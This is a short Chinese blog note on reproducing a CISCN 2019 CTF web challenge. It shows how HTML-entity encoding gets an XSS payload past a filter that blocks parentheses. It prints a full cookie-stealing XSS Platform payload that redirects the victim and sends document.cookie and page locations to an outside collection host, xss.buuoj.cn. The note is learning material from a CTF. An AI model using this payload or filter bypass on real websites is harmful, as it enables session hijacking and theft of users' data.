• 复现题目[CISCN 2019 华东北赛区 Web2 WriteUp](https://www.zhaoj.in/read-6100.html)的一些东西


    以前一直没做过xss的题,这次按writeup做题感觉有所收获,记录一下吧

    1. xss 的waf的绕过

      ()都被过滤,把所有的payload转为HTML Markup,其实就是&#加ascii码

    2. payload

      <svg><script>eval&#40&#34" + output + "&#34&#41</script>
      

      output就是下面的东西转化为HTML Markup编码的东西,这是XSS Platform这个平台自带的payload,一开始没看懂,整理一下代码格式

      (function(){window.location.href='http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0
       &location='+escape((function(){try{return document.location.href}catch(e){return''}})())+
       '&toplocation='+escape((function(){try{return top.location.href}catch(e){return''}})())+
       '&cookie='+escape((function(){try{return document.cookie}catch(e){return''}})())+
       '&opener='+escape((function(){try{return(window.opener&&window.opener.location.href)?window.opener.location.href:''}catch(e){return''}})());})();
      

      很清晰了,document.cookie 这样操作得到一些数据直接get请求到xss平台

      可以试试直接访问http://xss.buuoj.cn/index.php?do=api&id=xpqwIP&keepsession=0&cookie=123

      (id要换成自己项目的)

      在相应的项目下会收到对应的cookie:1234

      自带的还有很多payload,也可以分析一下,以前一直没成功过,这次终于成了一次,hhh,还有点小激动

    3. CSP绕过

      这里我过两天补,还没搞清楚

    4. substr(md5($str), 0, 6) === “d05a29”

      哈希碰撞与生日攻击

    5. 感觉还有很多没写!!!待补充

  • 相关阅读:
    SQLite数据库
    如何将大文件写入到数据库中
    Visual Studio 2008 附加进程调试
    VS2010MFC编程入门
    关于exe文件传递参数方法
    监视剪贴板数据
    Delphi快捷键
    判断一个对象是否存在, 谁更快
    全局探色器
    用DELPHI中实现RAR文件解压到指定一目录
  • 原文地址:https://www.cnblogs.com/thenbz3/p/11863641.html
Copyright © 2020-2023  润新知